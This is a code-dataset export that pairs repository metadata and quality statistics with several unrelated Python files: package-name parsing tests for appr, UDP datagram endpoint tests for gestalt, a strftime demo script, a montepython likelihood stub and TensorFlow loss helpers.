| 5.770521
| 0.10006
| 0.163015
| 0.254179
| 0.317724
| 0.906759
| 0.898868
| 0.895234
| 0.874468
| 0.76586
| 0.329457
| 0
| 0.003089
| 0.123688
| 12,192
| 334
| 89
| 36.502994
| 0.898353
| 0.039042
| 0
| 0.012422
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0.002994
| 0
| 1
| 0.018634
| true
| 0.006211
| 0.975155
| 0
| 0.993789
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 11
|
ad531041fdef31abecc60d6b60919e988505ce6e
| 8,810
|
py
|
Python
|
tests/test_utils.py
|
sergeyberezansky/appr
|
03168addf05c3efd779dad5168fb0a80d0512100
|
[
"Apache-2.0"
] | 31
|
2017-07-05T07:25:31.000Z
|
2021-01-18T22:21:57.000Z
|
tests/test_utils.py
|
sergeyberezansky/appr
|
03168addf05c3efd779dad5168fb0a80d0512100
|
[
"Apache-2.0"
] | 48
|
2017-06-27T15:48:29.000Z
|
2021-01-26T21:02:27.000Z
|
tests/test_utils.py
|
sergeyberezansky/appr
|
03168addf05c3efd779dad5168fb0a80d0512100
|
[
"Apache-2.0"
] | 17
|
2017-07-05T07:25:38.000Z
|
2021-01-20T14:52:29.000Z
|
from __future__ import absolute_import, division, print_function
import os
import pytest
import appr.utils
def test_mkdirp_on_existing_dir(tmpdir):
exists = str(tmpdir.mkdir("dir1"))
appr.utils.mkdir_p(exists)
assert os.path.exists(exists)
def test_mkdirp(tmpdir):
path = os.path.join(str(tmpdir), "new/directory/tocreate")
appr.utils.mkdir_p(path)
assert os.path.exists(path)
@pytest.mark.parametrize("version,expected", [
("@v2.3.0", {
"key": "version",
"value": "v2.3.0"
}),
(":v2.3.0", {
"key": "channel",
"value": "v2.3.0"
}),
(":stable", {
"key": "channel",
"value": "stable"
}),
("@stable", {
"key": "version",
"value": "stable"
}),
("@stable", {
"key": "version",
"value": "stable"
}),
("@sha256:4242a432aehf", {
"key": "digest",
"value": "4242a432aehf"
}),
("@sha256-4242", {
"key": "version",
"value": "sha256-4242"
}),
("@sha256-4242", {
"key": "version",
"value": "sha256-4242"
}),
])
def test_parse_version(version, expected):
assert appr.utils.parse_version(version) == expected
@pytest.mark.parametrize("package,expected", [
("localhost:5000/foo/bar", {
"host": "localhost:5000",
"namespace": "foo",
"package": "bar",
"version": "default"
}),
("http://appr.io/foo/bar", {
"host": "http://appr.io",
"namespace": "foo",
"package": "bar",
"version": "default"
}),
("https://appr.io/foo/bar", {
"host": "https://appr.io",
"namespace": "foo",
"package": "bar",
"version": "default"
}),
("appr.io/foo/bar", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "default"
}),
("appr.io/api/v1/foo/bar", {
"host": "appr.io/api/v1",
"namespace": "foo",
"package": "bar",
"version": "default"
}),
("appr.io/foo/bar@3.4.4", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "@3.4.4"
}),
("appr.io/foo/bar@v3.4.4", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "@v3.4.4"
}),
("appr.io/foo/bar:stable", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": ":stable"
}),
("appr.io/foo/bar:2.4-stable", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": ":2.4-stable"
}),
("appr.io/foo/bar:2.4-stable+432.5.24-4324_5234", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": ":2.4-stable+432.5.24-4324_5234"
}),
("appr.io/foo/bar@sha256:34245afe", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "@sha256:34245afe"
}),
])
def test_parse_package_name(package, expected):
assert appr.utils.parse_package_name(package) == expected
@pytest.mark.parametrize("package,expected", [
("localhost:5000", {
"host": "localhost:5000",
"namespace": None,
"package": None,
"version": None
}),
("http://appr.io", {
"host": "http://appr.io",
"namespace": None,
"package": None,
"version": None
}),
("http://appr.io/ns", {
"host": "http://appr.io",
"namespace": "ns",
"package": None,
"version": None
}),
("appr.io/ns", {
"host": "appr.io",
"namespace": "ns",
"package": None,
"version": None
}),
("https://appr.io/ns", {
"host": "https://appr.io",
"namespace": "ns",
"package": None,
"version": None
}),
("https://appr.io", {
"host": "https://appr.io",
"namespace": None,
"package": None,
"version": None
}),
("localhost:5000/foo/bar", {
"host": "localhost:5000",
"namespace": "foo",
"package": "bar",
"version": None
}),
("http://appr.io/foo/bar", {
"host": "http://appr.io",
"namespace": "foo",
"package": "bar",
"version": None
}),
("https://appr.io/foo/bar", {
"host": "https://appr.io",
"namespace": "foo",
"package": "bar",
"version": None
}),
("appr.io/foo/bar", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": None
}),
("appr.io/foo/bar@3.4.4", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "@3.4.4"
}),
("appr.io/foo/bar@v3.4.4", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "@v3.4.4"
}),
("appr.io/foo/bar:stable", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": ":stable"
}),
("appr.io/foo/bar:2.4-stable", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": ":2.4-stable"
}),
("appr.io/foo/bar:2.4-stable+432.5.24-4324_5234", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": ":2.4-stable+432.5.24-4324_5234"
}),
("appr.io/foo/bar@sha256:34245afe", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "@sha256:34245afe"
}),
])
def test_split_package_name(package, expected):
assert appr.utils.split_package_name(package) == expected
@pytest.mark.parametrize("package,expected", [
("foo/bar", {
"host": None,
"namespace": "foo",
"package": "bar",
"version": "default"
}),
("bar/@24", {
"host": "https://appr.io",
"namespace": "foo",
"package": "bar",
"version": "default"
}),
("appr.io:stable", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "default"
}),
("appr.io", {
"host": "appr.io/api/v1",
"namespace": "foo",
"package": "bar",
"version": "default"
}),
("appr.io/foo@3.4.4", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "@3.4.4"
}),
("appr.io/foo/bar@v^3.4.4", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "@v3.4.4"
}),
("appr.io/foo/bar:@stable", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": ":stable"
}),
("appr.io/foo/bar:2.4:stable", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": ":2.4:stable"
}),
("appr.io/foo/bar@sha256:34245.afe", {
"host": "appr.io",
"namespace": "foo",
"package": "bar",
"version": "@sha256:34245afe"
}),
])
def test_parse_bad_package_name(package, expected):
with pytest.raises(ValueError):
assert appr.utils.parse_package_name(package) == expected
@pytest.mark.parametrize("array,expected", [
([], []),
([[3]], [3]),
([[4, 5]], [4, 5]),
([[4, 5], []], [4, 5]),
([[4, 5], [3, 4]], [4, 5, 3, 4]),
])
def test_flatten(array, expected):
assert appr.utils.flatten(array) == expected
def test_convert_utf8():
data = {u"test": {u"test2": u"test3"}, u"array": [u"a1", u"a2"], u"int": 5}
assert {
"test": {
"test2": "test3"
},
"array": ["a1", "a2"],
"int": 5
} == appr.utils.convert_utf8(data)
def test_colorize(monkeypatch):
assert appr.utils.colorize('ok') == "\x1b[32mok\x1b[0m"
monkeypatch.setenv("APPR_COLORIZE_OUTPUT", "false")
assert appr.utils.colorize('ok') == "ok"
@pytest.mark.parametrize("version,expected", [
("v2.3.0", {
"key": "version",
"value": "v2.3.0"
}),
(":v2.3.0", {
"key": "channel",
"value": "v2.3.0"
}),
(":stable", {
"key": "channel",
"value": "stable"
}),
("stable", {
"key": "version",
"value": "stable"
}),
("stable", {
"key": "version",
"value": "stable"
}),
("sha256:4242a432aehf", {
"key": "digest",
"value": "4242a432aehf"
}),
("sha256-4242", {
"key": "version",
"value": "sha256-4242"
}),
("sha256-4242", {
"key": "version",
"value": "sha256-4242"
}),
])
def test_parse_version_req(version, expected):
assert appr.utils.parse_version_req(version) == expected
| 24.54039
| 79
| 0.46765
| 924
| 8,810
| 4.406926
| 0.107143
| 0.092829
| 0.13998
| 0.162083
| 0.829322
| 0.798134
| 0.786591
| 0.749509
| 0.709234
| 0.666749
| 0
| 0.055032
| 0.300795
| 8,810
| 358
| 80
| 24.608939
| 0.606006
| 0
| 0
| 0.808955
| 0
| 0.00597
| 0.371396
| 0.066515
| 0
| 0
| 0
| 0
| 0.032836
| 1
| 0.029851
| false
| 0
| 0.01194
| 0
| 0.041791
| 0.002985
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
ad895ee9a5075081d6c59a96c52331fc29e7d6e4
| 273
|
py
|
Python
|
strftime.py
|
pavaniuriti2000/python_files
|
89e3c6bd95af6756b49bc8ee1fa74f900ea6c681
|
[
"MIT"
] | null | null | null |
strftime.py
|
pavaniuriti2000/python_files
|
89e3c6bd95af6756b49bc8ee1fa74f900ea6c681
|
[
"MIT"
] | null | null | null |
strftime.py
|
pavaniuriti2000/python_files
|
89e3c6bd95af6756b49bc8ee1fa74f900ea6c681
|
[
"MIT"
] | null | null | null |
#date and time
import datetime
current_date=datetime.date.today()
print(current_date.strftime("%d%b,%Y"))
print(current_date.strftime("%d%B,%Y"))
print(current_date.strftime("%d%b,%y"))
print(current_date.strftime("%d-%b-%Y"))
print(current_date.strftime("%d/%b/%Y"))
| 19.5
| 40
| 0.710623
| 45
| 273
| 4.177778
| 0.266667
| 0.351064
| 0.425532
| 0.638298
| 0.718085
| 0.718085
| 0.718085
| 0.718085
| 0.718085
| 0.718085
| 0
| 0
| 0.058608
| 273
| 13
| 41
| 21
| 0.731518
| 0.047619
| 0
| 0
| 0
| 0
| 0.144531
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.142857
| 0
| 0.142857
| 0.714286
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 9
|
d11499f42255c5d5a55fd28a063526a36973b6d7
| 16,898
|
py
|
Python
|
tests/test_datagram_mti.py
|
JohnSitarski/gestalt
|
119bc0f1c1c8a9ad1919347573d25f1c502737dc
|
[
"MIT"
] | null | null | null |
tests/test_datagram_mti.py
|
JohnSitarski/gestalt
|
119bc0f1c1c8a9ad1919347573d25f1c502737dc
|
[
"MIT"
] | null | null | null |
tests/test_datagram_mti.py
|
JohnSitarski/gestalt
|
119bc0f1c1c8a9ad1919347573d25f1c502737dc
|
[
"MIT"
] | null | null | null |
import asyncio
import asynctest
import logging
import socket
import unittest.mock
from gestalt import serialization
from gestalt.datagram.mti import MtiDatagramEndpoint
class MtiDatagramEndpointTestCase(asynctest.TestCase):
async def test_start_receiver(self):
receiver_on_message_mock = unittest.mock.Mock()
receiver_on_started_mock = unittest.mock.Mock()
receiver_on_stopped_mock = unittest.mock.Mock()
receiver_on_peer_available_mock = unittest.mock.Mock()
receiver_on_peer_unavailable_mock = unittest.mock.Mock()
receiver_ep = MtiDatagramEndpoint(
on_message=receiver_on_message_mock,
on_started=receiver_on_started_mock,
on_stopped=receiver_on_stopped_mock,
on_peer_available=receiver_on_peer_available_mock,
on_peer_unavailable=receiver_on_peer_unavailable_mock,
)
# Expect an exception if local_addr or remote addr are not
# specified
with self.assertRaises(Exception) as cm:
await receiver_ep.start()
expected = "At least one of local_addr or remote addr must be defined"
self.assertIn(expected, str(cm.exception))
await receiver_ep.start(local_addr=("0.0.0.0", 0))
self.assertTrue(receiver_on_started_mock.called)
self.assertTrue(receiver_on_peer_available_mock.called)
address, port = receiver_ep.bindings[0]
# Check that starting a receiver that is already started does not
# have any consequences
await receiver_ep.start()
await receiver_ep.stop()
self.assertTrue(receiver_on_stopped_mock.called)
# Check that stopping a receiver that is already stopped does not
# have any consequences
await receiver_ep.stop()
async def test_start_receiver_on_unavailable_port(self):
""" check starting receiver on a used port raises an exception """
# Occupy a port by starting a UDP endpoint on it first.
first_ep = MtiDatagramEndpoint()
await first_ep.start(local_addr=("0.0.0.0", 0))
host, occupied_port = first_ep.bindings[0]
try:
receiver_on_message_mock = unittest.mock.Mock()
receiver_on_started_mock = unittest.mock.Mock()
receiver_on_stopped_mock = unittest.mock.Mock()
receiver_on_peer_available_mock = unittest.mock.Mock()
receiver_on_peer_unavailable_mock = unittest.mock.Mock()
receiver_ep = MtiDatagramEndpoint(
on_message=receiver_on_message_mock,
on_started=receiver_on_started_mock,
on_stopped=receiver_on_stopped_mock,
on_peer_available=receiver_on_peer_available_mock,
on_peer_unavailable=receiver_on_peer_unavailable_mock,
)
with self.assertLogs(
"gestalt.datagram.endpoint", level=logging.ERROR
) as log:
with self.assertRaises(Exception):
await receiver_ep.start(local_addr=(host, occupied_port))
address, port = receiver_ep.bindings[0]
self.assertFalse(receiver_on_started_mock.called)
await receiver_ep.stop()
# endpoint never actually started so it should not really need
# to be stopped.
self.assertFalse(receiver_on_stopped_mock.called)
finally:
await first_ep.stop()
async def test_sender_receiver_interaction(self):
""" check sender and receiver interactions """
receiver_on_message_mock = asynctest.CoroutineMock()
receiver_on_started_mock = asynctest.CoroutineMock()
receiver_on_stopped_mock = asynctest.CoroutineMock()
receiver_on_peer_available_mock = asynctest.CoroutineMock()
receiver_on_peer_unavailable_mock = asynctest.CoroutineMock()
receiver_ep = MtiDatagramEndpoint(
on_message=receiver_on_message_mock,
on_started=receiver_on_started_mock,
on_stopped=receiver_on_stopped_mock,
on_peer_available=receiver_on_peer_available_mock,
on_peer_unavailable=receiver_on_peer_unavailable_mock,
)
await receiver_ep.start(local_addr=("127.0.0.1", 0))
self.assertTrue(receiver_on_started_mock.called)
address, port = receiver_ep.bindings[0]
sender_on_message_mock = asynctest.CoroutineMock()
sender_on_started_mock = asynctest.CoroutineMock()
sender_on_stopped_mock = asynctest.CoroutineMock()
sender_on_peer_available_mock = asynctest.CoroutineMock()
sender_on_peer_unavailable_mock = asynctest.CoroutineMock()
sender_ep = MtiDatagramEndpoint(
on_message=sender_on_message_mock,
on_started=sender_on_started_mock,
on_stopped=sender_on_stopped_mock,
on_peer_available=sender_on_peer_available_mock,
on_peer_unavailable=sender_on_peer_unavailable_mock,
)
await sender_ep.start(remote_addr=(address, port))
await asyncio.sleep(0.3)
self.assertTrue(sender_on_started_mock.called)
self.assertTrue(sender_on_peer_available_mock.called)
self.assertTrue(receiver_on_peer_available_mock.called)
# Send a msg without identifier from sender to receiver
sent_msg = b"Hello World"
sender_ep.send(sent_msg)
await asyncio.sleep(0.1)
self.assertTrue(receiver_on_message_mock.called)
(args, kwargs) = receiver_on_message_mock.call_args_list[0]
ep, received_msg = args
self.assertIsInstance(ep, MtiDatagramEndpoint)
self.assertEqual(received_msg, sent_msg)
self.assertIn("addr", kwargs)
received_sender_id = kwargs["addr"]
self.assertIn("type_identifier", kwargs)
received_msg_id = kwargs["type_identifier"]
self.assertEqual(received_msg_id, 0)
await sender_ep.stop()
await asyncio.sleep(0.1)
self.assertTrue(sender_on_stopped_mock.called)
self.assertTrue(sender_on_peer_unavailable_mock.called)
await receiver_ep.stop()
self.assertTrue(receiver_on_stopped_mock.called)
self.assertTrue(receiver_on_peer_unavailable_mock.called)
async def test_json_sender_receiver_interactions(self):
""" check JSON sender and receiver interactions """
receiver_on_message_mock = asynctest.CoroutineMock()
receiver_on_started_mock = asynctest.CoroutineMock()
receiver_on_stopped_mock = asynctest.CoroutineMock()
receiver_on_peer_available_mock = asynctest.CoroutineMock()
receiver_on_peer_unavailable_mock = asynctest.CoroutineMock()
receiver_ep = MtiDatagramEndpoint(
on_message=receiver_on_message_mock,
on_started=receiver_on_started_mock,
on_stopped=receiver_on_stopped_mock,
on_peer_available=receiver_on_peer_available_mock,
on_peer_unavailable=receiver_on_peer_unavailable_mock,
content_type=serialization.CONTENT_TYPE_JSON,
)
await receiver_ep.start(local_addr=("127.0.0.1", 0))
self.assertTrue(receiver_on_started_mock.called)
address, port = receiver_ep.bindings[0]
sender_on_message_mock = asynctest.CoroutineMock()
sender_on_started_mock = asynctest.CoroutineMock()
sender_on_stopped_mock = asynctest.CoroutineMock()
sender_on_peer_available_mock = asynctest.CoroutineMock()
sender_on_peer_unavailable_mock = asynctest.CoroutineMock()
sender_ep = MtiDatagramEndpoint(
on_message=sender_on_message_mock,
on_started=sender_on_started_mock,
on_stopped=sender_on_stopped_mock,
on_peer_available=sender_on_peer_available_mock,
on_peer_unavailable=sender_on_peer_unavailable_mock,
content_type=serialization.CONTENT_TYPE_JSON,
)
await sender_ep.start(remote_addr=(address, port))
await asyncio.sleep(0.3)
self.assertTrue(sender_on_started_mock.called)
self.assertTrue(sender_on_peer_available_mock.called)
self.assertTrue(receiver_on_peer_available_mock.called)
# Send a msg without identifier from sender to receiver
test_msg_in = dict(latitude=130.0, longitude=-30.0, altitude=50.0)
sender_ep.send(test_msg_in)
await asyncio.sleep(0.1)
self.assertTrue(receiver_on_message_mock.called)
(args, kwargs) = receiver_on_message_mock.call_args_list[0]
ep, received_msg = args
received_sender_id = kwargs["addr"]
received_msg_id = kwargs["type_identifier"]
self.assertIsInstance(ep, MtiDatagramEndpoint)
self.assertEqual(received_msg, test_msg_in)
self.assertEqual(received_msg_id, 0)
# Send a msg with identifier from sender to receiver
receiver_on_message_mock.reset_mock()
type_identifier = 2
sender_ep.send(test_msg_in, type_identifier=type_identifier)
await asyncio.sleep(0.1)
self.assertTrue(receiver_on_message_mock.called)
(args, kwargs) = receiver_on_message_mock.call_args_list[0]
ep, received_msg = args
received_sender_id = kwargs["addr"]
received_msg_id = kwargs["type_identifier"]
self.assertIsInstance(ep, MtiDatagramEndpoint)
self.assertEqual(received_msg, test_msg_in)
self.assertEqual(received_msg_id, type_identifier)
# graceful shutdown
await sender_ep.stop()
await asyncio.sleep(0.1)
self.assertTrue(sender_on_stopped_mock.called)
self.assertTrue(sender_on_peer_unavailable_mock.called)
await receiver_ep.stop()
self.assertTrue(receiver_on_stopped_mock.called)
self.assertTrue(receiver_on_peer_unavailable_mock.called)
@unittest.skipUnless(serialization.have_msgpack, "requires msgpack")
async def test_msgpack_sender_receiver_interactions(self):
""" check msgpack sender and receiver interactions """
receiver_on_message_mock = asynctest.CoroutineMock()
receiver_on_started_mock = asynctest.CoroutineMock()
receiver_on_stopped_mock = asynctest.CoroutineMock()
receiver_on_peer_available_mock = asynctest.CoroutineMock()
receiver_on_peer_unavailable_mock = asynctest.CoroutineMock()
receiver_ep = MtiDatagramEndpoint(
on_message=receiver_on_message_mock,
on_started=receiver_on_started_mock,
on_stopped=receiver_on_stopped_mock,
on_peer_available=receiver_on_peer_available_mock,
on_peer_unavailable=receiver_on_peer_unavailable_mock,
content_type=serialization.CONTENT_TYPE_MSGPACK,
)
await receiver_ep.start(local_addr=("127.0.0.1", 0))
self.assertTrue(receiver_on_started_mock.called)
address, port = receiver_ep.bindings[0]
sender_on_message_mock = asynctest.CoroutineMock()
sender_on_started_mock = asynctest.CoroutineMock()
sender_on_stopped_mock = asynctest.CoroutineMock()
sender_on_peer_available_mock = asynctest.CoroutineMock()
sender_on_peer_unavailable_mock = asynctest.CoroutineMock()
sender_ep = MtiDatagramEndpoint(
on_message=sender_on_message_mock,
on_started=sender_on_started_mock,
on_stopped=sender_on_stopped_mock,
on_peer_available=sender_on_peer_available_mock,
on_peer_unavailable=sender_on_peer_unavailable_mock,
content_type=serialization.CONTENT_TYPE_MSGPACK,
)
await sender_ep.start(remote_addr=(address, port))
await asyncio.sleep(0.3)
self.assertTrue(sender_on_started_mock.called)
self.assertTrue(sender_on_peer_available_mock.called)
self.assertTrue(receiver_on_peer_available_mock.called)
# Send a msg without identifier from sender to receiver
test_msg_in = dict(latitude=130.0, longitude=-30.0, altitude=50.0)
sender_ep.send(test_msg_in)
await asyncio.sleep(0.1)
self.assertTrue(receiver_on_message_mock.called)
(args, kwargs) = receiver_on_message_mock.call_args_list[0]
ep, received_msg = args
received_sender_id = kwargs["addr"]
received_msg_id = kwargs["type_identifier"]
self.assertIsInstance(ep, MtiDatagramEndpoint)
self.assertEqual(received_msg, test_msg_in)
self.assertEqual(received_msg_id, 0)
# Send a msg with identifier from sender to receiver
receiver_on_message_mock.reset_mock()
type_identifier = 2
sender_ep.send(test_msg_in, type_identifier=type_identifier)
await asyncio.sleep(0.1)
self.assertTrue(receiver_on_message_mock.called)
(args, kwargs) = receiver_on_message_mock.call_args_list[0]
ep, received_msg = args
received_sender_id = kwargs["addr"]
received_msg_id = kwargs["type_identifier"]
self.assertIsInstance(ep, MtiDatagramEndpoint)
self.assertEqual(received_msg, test_msg_in)
self.assertEqual(received_msg_id, type_identifier)
# graceful shutdown
await sender_ep.stop()
await asyncio.sleep(0.1)
self.assertTrue(sender_on_stopped_mock.called)
self.assertTrue(sender_on_peer_unavailable_mock.called)
await receiver_ep.stop()
self.assertTrue(receiver_on_stopped_mock.called)
self.assertTrue(receiver_on_peer_unavailable_mock.called)
@unittest.skipUnless(serialization.have_protobuf, "requires google protobuf")
async def test_protobuf_sender_receiver_interactions(self):
""" check protobuf sender and receiver interactions """
from position_pb2 import Position
protobuf_data = Position(
latitude=130.0, longitude=-30.0, altitude=50.0, status=Position.SIMULATED
)
receiver_on_message_mock = asynctest.CoroutineMock()
receiver_on_started_mock = asynctest.CoroutineMock()
receiver_on_stopped_mock = asynctest.CoroutineMock()
receiver_on_peer_available_mock = asynctest.CoroutineMock()
receiver_on_peer_unavailable_mock = asynctest.CoroutineMock()
receiver_ep = MtiDatagramEndpoint(
on_message=receiver_on_message_mock,
on_started=receiver_on_started_mock,
on_stopped=receiver_on_stopped_mock,
on_peer_available=receiver_on_peer_available_mock,
on_peer_unavailable=receiver_on_peer_unavailable_mock,
content_type=serialization.CONTENT_TYPE_PROTOBUF,
)
await receiver_ep.start(local_addr=("127.0.0.1", 0))
self.assertTrue(receiver_on_started_mock.called)
address, port = receiver_ep.bindings[0]
sender_on_message_mock = asynctest.CoroutineMock()
sender_on_started_mock = asynctest.CoroutineMock()
sender_on_stopped_mock = asynctest.CoroutineMock()
sender_on_peer_available_mock = asynctest.CoroutineMock()
sender_on_peer_unavailable_mock = asynctest.CoroutineMock()
sender_ep = MtiDatagramEndpoint(
on_message=sender_on_message_mock,
on_started=sender_on_started_mock,
on_stopped=sender_on_stopped_mock,
on_peer_available=sender_on_peer_available_mock,
on_peer_unavailable=sender_on_peer_unavailable_mock,
content_type=serialization.CONTENT_TYPE_PROTOBUF,
)
await sender_ep.start(remote_addr=(address, port))
await asyncio.sleep(0.3)
self.assertTrue(sender_on_started_mock.called)
self.assertTrue(sender_on_peer_available_mock.called)
self.assertTrue(receiver_on_peer_available_mock.called)
type_identifier = 2
receiver_ep.register_message(type_identifier, Position)
# Send a msg with identifier from sender to receiver
test_msg_in = protobuf_data
sender_ep.send(test_msg_in, type_identifier=type_identifier)
await asyncio.sleep(0.1)
self.assertTrue(receiver_on_message_mock.called)
(args, kwargs) = receiver_on_message_mock.call_args_list[0]
ep, received_msg = args
received_sender_id = kwargs["addr"]
received_msg_id = kwargs["type_identifier"]
self.assertIsInstance(ep, MtiDatagramEndpoint)
self.assertEqual(received_msg, test_msg_in)
self.assertEqual(received_msg_id, type_identifier)
await sender_ep.stop()
await asyncio.sleep(0.1)
self.assertTrue(sender_on_stopped_mock.called)
self.assertTrue(sender_on_peer_unavailable_mock.called)
await receiver_ep.stop()
self.assertTrue(receiver_on_stopped_mock.called)
self.assertTrue(receiver_on_peer_unavailable_mock.called)
| 41.014563
| 85
| 0.706001
| 2,010
| 16,898
| 5.536318
| 0.074129
| 0.087168
| 0.093458
| 0.049515
| 0.890097
| 0.860173
| 0.852624
| 0.843907
| 0.824227
| 0.813533
| 0
| 0.008854
| 0.224642
| 16,898
| 411
| 86
| 41.114355
| 0.840482
| 0.042549
| 0
| 0.822951
| 0
| 0
| 0.019888
| 0.001573
| 0
| 0
| 0
| 0
| 0.219672
| 1
| 0
| false
| 0
| 0.02623
| 0
| 0.029508
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d11a23c33afe98550b12be1733a7e198d9c68292
| 99
|
py
|
Python
|
tests/basic/tests/__init__.py
|
handshake/django-tastypie
|
5f96ec08a94e792b2241e14eb49d5d6ab364b074
|
[
"BSD-3-Clause"
] | null | null | null |
tests/basic/tests/__init__.py
|
handshake/django-tastypie
|
5f96ec08a94e792b2241e14eb49d5d6ab364b074
|
[
"BSD-3-Clause"
] | 4
|
2019-06-04T17:47:07.000Z
|
2019-07-12T19:06:49.000Z
|
tests/basic/tests/__init__.py
|
handshake/django-tastypie
|
5f96ec08a94e792b2241e14eb49d5d6ab364b074
|
[
"BSD-3-Clause"
] | null | null | null |
from basic.tests.http import *
from basic.tests.resources import *
from basic.tests.views import *
| 24.75
| 35
| 0.787879
| 15
| 99
| 5.2
| 0.466667
| 0.346154
| 0.538462
| 0.512821
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121212
| 99
| 3
| 36
| 33
| 0.896552
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
d146050dd8670c454a11625a0f772968e5a71637
| 109
|
py
|
Python
|
montepython/likelihoods/Planck15_lowl_TT/__init__.py
|
archaeo-pteryx/montepython_public
|
6fbcaa3266fd3a10a8e3ed4190dc65e6f29f1a37
|
[
"MIT"
] | 69
|
2018-04-20T07:38:33.000Z
|
2022-03-11T06:55:36.000Z
|
montepython/likelihoods/Planck15_lowl_TT/__init__.py
|
archaeo-pteryx/montepython_public
|
6fbcaa3266fd3a10a8e3ed4190dc65e6f29f1a37
|
[
"MIT"
] | 263
|
2018-05-20T21:58:11.000Z
|
2022-03-30T21:45:48.000Z
|
montepython/likelihoods/Planck15_lowl_TT/__init__.py
|
archaeo-pteryx/montepython_public
|
6fbcaa3266fd3a10a8e3ed4190dc65e6f29f1a37
|
[
"MIT"
] | 78
|
2018-04-21T13:11:54.000Z
|
2022-02-01T01:57:31.000Z
|
from montepython.likelihood_class import Likelihood_clik
class Planck15_lowl_TT(Likelihood_clik):
pass
| 18.166667
| 56
| 0.844037
| 14
| 109
| 6.214286
| 0.714286
| 0.321839
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.020833
| 0.119266
| 109
| 5
| 57
| 21.8
| 0.885417
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
d14f50a92c88936a039c1f84b0dbf8dec3e625c1
| 236
|
py
|
Python
|
src/losses.py
|
ifranco14/tf_real_estate_images_classification
|
a6aea3cb2b72fb88db815b0e6fcc72858a8d5f01
|
[
"MIT"
] | null | null | null |
src/losses.py
|
ifranco14/tf_real_estate_images_classification
|
a6aea3cb2b72fb88db815b0e6fcc72858a8d5f01
|
[
"MIT"
] | null | null | null |
src/losses.py
|
ifranco14/tf_real_estate_images_classification
|
a6aea3cb2b72fb88db815b0e6fcc72858a8d5f01
|
[
"MIT"
] | null | null | null |
import tensorflow as tf
# TODO>> SEARCH HOW TO USE WEIGHTED LOSS
def get_softmax_cross_entropy():
return tf.losses.softmax_cross_entropy
def get_sparse_softmax_cross_entropy():
return tf.losses.sparse_softmax_cross_entropy
| 19.666667
| 49
| 0.805085
| 35
| 236
| 5.085714
| 0.542857
| 0.269663
| 0.426966
| 0.280899
| 0.370787
| 0.370787
| 0
| 0
| 0
| 0
| 0
| 0
| 0.139831
| 236
| 11
| 50
| 21.454545
| 0.876847
| 0.161017
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 0
| 1
| 0.4
| true
| 0
| 0.2
| 0.4
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
